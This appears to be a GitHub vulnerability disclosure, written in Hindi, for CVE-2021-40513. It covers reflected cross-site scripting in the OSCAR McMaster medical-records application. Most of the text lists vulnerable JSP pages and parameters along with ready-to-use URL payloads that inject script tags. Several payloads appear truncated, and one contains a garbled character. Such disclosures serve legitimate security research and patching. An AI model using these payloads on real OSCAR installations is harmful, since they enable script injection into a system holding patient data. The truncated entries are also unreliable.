war4uthor/cve-2021-40513CVE-2021-40513 OSCAR McMaster 19.40~1235 रिफ्लेक्टेड क्रॉस साइट स्क्रिप्टिंग भेद्यता।
OSCAR McMaster एप्लिकेशन के संस्करण 19.40~1235 में कई पृष्ठों में एक रिफ्लेक्टेड क्रॉस-साइट स्क्रिप्टिंग भेद्यता मौजूद है जो JavaScript कमांडों के मनमाने निष्पादन की अनुमति देती है।
[CVE mitre के लिए प्लेसहोल्डर]
संवेदनशील JSP पृष्ठ:
documentReport.jsp - functionid, function, curUser पैरामीटर
addappointment.jsp - duration, end_time, start_time, day, month, year, provider_no पैरामीटर
unLock.jsp - userName पैरामीटर
semographiccontrol.jsp - keyword पैरामीटर
providercontrol.jsp - provider_no, viewall, view, month, year, day, every_min पैरामीटर
CalendarPopup.jsp - month, year, param, urlfrom पैरामीटर
logReport.jsp - endDate, startDate पैरामीटर
SendDemoMessage.do - demographic_no पैरामीटर
ViewConsultation.do - demographic_no पैरामीटर
उदाहरण संवेदनशील पेलोड:
documentReport.jsp - /oscar/dms/documentReport.jsp?function=provider&functionid=999998&curUser=999998daka4%22%3E%3Cscript%3Ealert(document.domain)%3C%2fscript%3Eowtpz
addappointment.jsp - /oscar/appointment/addappointment.jsp?provider_no=999998&bFirstDisp=true&year=2021&month=08&day=27&start_time=08:00&end_time=08%3a14pyqzl'>
unLock.jsp - /oscar/admin/unLock.jsp?userName=192.168.105.149w5q31%3Cscript%3Ealert(document.domain)%3C%2fscript%3Efe9hjvibv0e&submit=Unlock
semographiccontrol.jsp - /oscar/demographic/demographiccontrol.jsp?search_mode=search_name&keyword=%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E&orderby=last_name%2C+first_name&dboperation=search_titlename&limit1=0&limit2=10&displaymode=Search&ptstatus=active&fromMessenger=false&outofdomain=
providercontrol.jsp - /oscar/provider/providercontrol.jsp?year=%3Cscript%3Ealert(document.domain)%3C/script%3E;&month=8&day=18&view=0&curProvider=null&curProviderName=null&displaymode=day&dboperation=searchappointmentday
CalendarPopup.jsp - /oscar/share/CalendarPopup.jsp?urlfrom=xm4vs">
logReport.jsp - /oscar/admin/logReport.jsp?providerNo=*&content=admin&startDate=2021-08-29b2266"><script>alert(document.domain)<%2fscript>xdzr6digegi&endDate=2021-08-30&submit=Run+Report
SendDemoMessage.do - /oscar/oscarMessenger/SendDemoMessage.do?demographic_no=dllj2%22%3e%3cscript%3ealert(document.domain)%3c%2fscript%3ej7t05
ViewConsultation.do - /oscar/oscarEncounter/ViewConsultation.do?sendTo=i15ji%3cscript%3ealert(document.domain)%3c%2fscript%3eu5x29&startDate=&endDate=&searchDate=0¤tTeam=&orderby=2%27%20ASC&desc=0&offset=&limit=100&mrpNo=&patientId=&serviceFilter=&consultantFilter=&urgencyFilter=
जैक मैकब्राइड द्वारा खोजा गया, अगस्त 2021
